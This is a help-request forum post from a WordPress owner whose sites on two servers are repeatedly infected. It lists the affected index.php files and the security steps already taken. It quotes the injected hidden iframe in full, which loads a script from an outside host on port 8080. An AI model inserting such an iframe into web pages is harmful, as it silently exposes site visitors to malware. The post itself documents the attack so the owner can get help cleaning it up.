Hello,
I have wordpress installed on 2 seperate servers, they are keep getting hacked with the same hack. Someone is putting in a line of code in files, mainly inedx files. Files infected are:
index.php
wp-admin/index.php
wp-admin/index-extra.php
wp-content/index.php
wp-content/plugins/index.php
wp-content/theme/index.php
wp-content/theme/theme-name/index.php (of all/any themes)
The code is:
<iframe src="http://x8y.ru:8080/ts/in.cgi?pepsi116" width=125 height=125 style="visibility: hidden"></iframe>
Now, i think this is a wordpress problem because i have it installed on 2 different servers, and its the only thing installed on one server in a few instances. ALL the sites get hacked.
On server 1 i have WP installed with default theme and no plugins. I have tried deleting all files and re-uploading new files which has not worked.
Server 2 i have 3 installations running of WP, and nothing else on the server.
Other security measures i have taken are:
password protect the wp-admin directory
changed the wp_ table name to something different (something different on each install)
uninstall all plugins/themes and have a completly default WP running
changed the passwords and usernames of the Admin account (using long passwords with upper/lower case letters/numbers/special chars.
change the MYSQL passwords
I have had to remove the WP on server 1 because i have other things on that site and it seems to infect them once it gets to WP.
I have been running WP since 2.7 and always upgrade it, and i have had no problems until now.
Please help me sort this problem out. I have read another person having this problem but there doesnt seem to be a solution. I am rreally sick of waking up checking my site and having this problem and having to upload the index files each time.